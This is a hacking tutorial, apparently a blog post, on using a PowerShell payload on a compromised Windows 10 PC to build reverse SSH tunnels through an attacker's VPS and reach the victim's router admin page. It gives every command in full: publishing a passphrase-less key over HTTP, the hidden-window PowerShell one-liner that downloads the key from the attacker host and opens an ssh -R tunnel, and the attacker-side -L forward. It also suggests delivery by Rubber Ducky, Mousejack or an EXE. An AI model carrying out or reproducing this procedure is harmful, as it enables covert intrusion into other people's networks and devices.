The attack I’ll be outlining takes advantage of the SSH -R and -L port-forwarding options to create encrypted connections to and from the attacker’s server. The below diagram provides an over-simplified depiction of the attack.
# Attack Topology [Kali/Hacker] | | SSH | \|/ ' [Debian/Server] . /|\ | SSH +-->[Raspberry Pi on 192.168.1.2:8080] | / | / [Windows 10/Proxy]---->[Router/Target on 192.168.1.1:80] \ \ +-->[Torrent Client on 192.168.1.3:8080]
The connections allow the attacker to forward requests through a virtual private server (Debian), and then through a compromised Windows 10 PC, ultimately granting the attacker access to the router gateway. Other devices and ports on the network can be targeted through the Windows 10 computer, but we’ll focus on the router. An attacker with access to router settings can inflict all kinds of damage.
The PowerShell payload is executed in Windows 10, forcing it to create an SSH connection to the attacker’s server. That link forwards requests from the server through Windows 10 to the router gateway. To access the forwarding port in the Debian VPS, the attacker also connects to the server, allowing them to use it and Windows 10 as a double-forwarding mechanism.
Similar attacks can be performed with Tor that allow for greater access to devices and ports on the target network. But I wanted to devise a forwarding solution that didn’t involve admin privileges, third-party software, opening ports in Windows 10, or modifying any firewalls.
The environment can be set up with Kali Linux and Windows 10 on a shared Wi-Fi network. In such scenarios, the attacker may be attempting to access a service using Windows 10’s IP address to bypass IP filtering or whitelisting. However, that’s a specific and less practical case. For that reason, our demonstration will utilize a virtual private server, allowing an attacker to remotely hack the router through two systems from any network in the world.
To start, SSH into the virtual private server being used in the attack as root. The server’s IP address is represented as 22.214.171.124 throughout the remainder of this tutorial.
Create a new SSH key pair with the following ssh-keygen command. When prompted for a passphrase, leave it empty and press Enter on the keyboard. The key pair passphrase must be empty for the attack to work.
The ssh-keygen prompt will attempt to name the new keys “id_rsa” by default. Change it to a random string like “ab56ab49226ed8603e9ae41e242d8096” to thwart potential directory crawlers.
Warning: The filename “key” will be used for the remainder of this demonstration for simplicity, but it’s generally a bad practice. Any web crawlers able to enumerate the “key” file will have full remote access the Debian server.
~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/key Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/key. Your public key has been saved in /root/.ssh/key.pub. The key fingerprint is: SHA256:5M9KVJVlW2o2er4MSaW0+5yyFhqhKm51kAfrt/fEnbA root@debian9 The key's randomart image is: +---[RSA 2048]----+ | .oo .| | . ... + | | +. . . B | | +o.... B . | | . oS. .* . | | o.+o.o.O . | | . +..ooE.+ | | o ....o.o= o | | o.. .. ooo* | +----[SHA256]-----+
Next, change into the ~/.ssh directory.
~# cd ~/.ssh
List the files in the directory; there should be a public (.pub) and private key.
~/.ssh# ls -la -rw------- 1 root root 1675 Mar 24 05:26 key -rw-r--r-- 1 root root 391 Mar 24 05:26 key.pub
Copy the public key to a file called “authorized_keys.” That will allow any SSH client (i.e., Windows 10) with the private key the ability to authenticate to the SSH server.
~/.ssh# cp key.pub authorized_keys
Modify the “sshd_config” file to disable password authentication. Only clients with the private key can authenticate to the server after the modification. It’s an essential step as password authentication may prevent the hacked Windows client from properly authenticating.
~/.ssh# nano /etc/ssh/sshd_config
Set the “PasswordAuthentication” option to “no,” and uncomment the line if needed. Save and exit nano by pressing Ctrl+x, then y, and Enter.
Now, restart the SSH server with the systemctl command.
~/.ssh# systemctl restart ssh
While in the .ssh/ directory, create an empty “index.html” file to prevent the following HTTP server from listing the files in the directory.
~/.ssh# touch index.html
Make the keys available to the internet with the following screen and python3 commands. Screen will allow the Python3 HTTP server to persist long after the SSH connection is closed.
~/.ssh# screen python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 ...
To detach from the Screen session without terminating the Python3 server, press Control-A, then D. Afterward, exit the SSH session.
To ensure the SSH server was properly configured, a few things can be done.
In a local Kali machine, open Firefox and navigate to the server IP address or domain name. The server will display a blank page due to the empty index.html file created in the previous step. From the URL bar, download the /key.
The ability to download the key means PowerShell will also be able to find it when Invoke-WebRequest is executed on the target Windows computer.
Next, open a terminal and copy the key into Kali’s ~/.ssh/ directory.
~# cp ~/Downloads/key ~/.ssh/
The SSH client in Kali is particular about the key’s file permissions. Modify the permissions with the chmod command.
~# chmod 0600 ~/.ssh/key
Finally, test the key by authenticating to the Debian server from Kali. If the Debian server requests a password or rejects the key, something went wrong. Kali should be able to authenticate to the server without being prompted at all.
~# ssh -o StrictHostKeyChecking=no -i ~/.ssh/key firstname.lastname@example.org Warning: Permanently added '[126.96.36.199]:22,[XX.XXX.XXX.XX]:22' (ECDSA) to the list of known hosts. Linux debian9 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2020-03-24) x86_64 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@debian9:~#
The PowerShell payload can be executed against Windows 10 in several ways. It will be useful during post-exploitation attacks where remote access to the computer has already been established. Mousejack and USB Rubber Ducky’s payloads are always very effective, but it can be converted into an executable (EXE) and sent with the target.
C:\> powershell -ep bypass /w 1 /C iwr 188.8.131.52/key -OutFile $env:temp\key;ssh -N -i $env:temp\key -R 9999:192.168.1.1:80 -o StrictHostKeyChecking=no email@example.com -p 22
PowerShell will first use the Invoke-WebRequest command to download the /key from the attacker’s server and save it into the temp directory. SSH is then invoked with the -R option, which forwards requests made to port 9999 through the Windows computer and to the router’s 192.168.1.1:80 IP address.
After executing the payload, use netstat on the Debian server to find port 9999 is open.
~# netstat -lptn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1220/sshd tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 9999/sshd: root@pts tcp6 0 0 :::22 :::* LISTEN 1220/sshd tcp6 0 0 ::1:9999
Now, requests sent to port 9999 will be forwarded to the router (192.168.1.1:80). The problem is, port 9999 is only available on Debian’s loopback address (127.0.0.1) — which can’t be accessed from external IP addresses (i.e., Kali). One solution is to SSH into the Debian server from Kali with the -L option.
~# ssh -N -L 8888:127.0.0.1:9999 -i ~/.ssh/key firstname.lastname@example.org
In Kali, requests made to port 8888 are forwarded to port 9999 on the Debian server. The requests are then immediately forwarded through Windows 10 and, ultimately, to the router gateway. Both Debian and Windows 10 act together as forwarding systems that allow the attacker in a different part of the world to access the router.
It can be verified by opening Firefox in Kali and navigating to http://127.0.0.1:8888.
The attack is a bit on the complicated side as it involves two degrees of port-forwarding. However, it demonstrates how hackers will try to remotely access other devices and ports on the target network without any special privileges or additional software. If there are more straightforward methods for accomplishing the same goal, be sure to leave a comment below; I would love to hear about them.